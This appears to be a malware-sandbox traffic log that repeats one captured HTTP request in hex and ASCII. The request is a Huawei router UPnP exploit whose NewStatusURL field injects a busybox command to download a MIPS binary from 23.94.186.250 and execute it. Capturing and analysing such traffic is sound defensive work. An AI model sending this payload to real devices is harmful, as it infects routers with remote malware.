72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 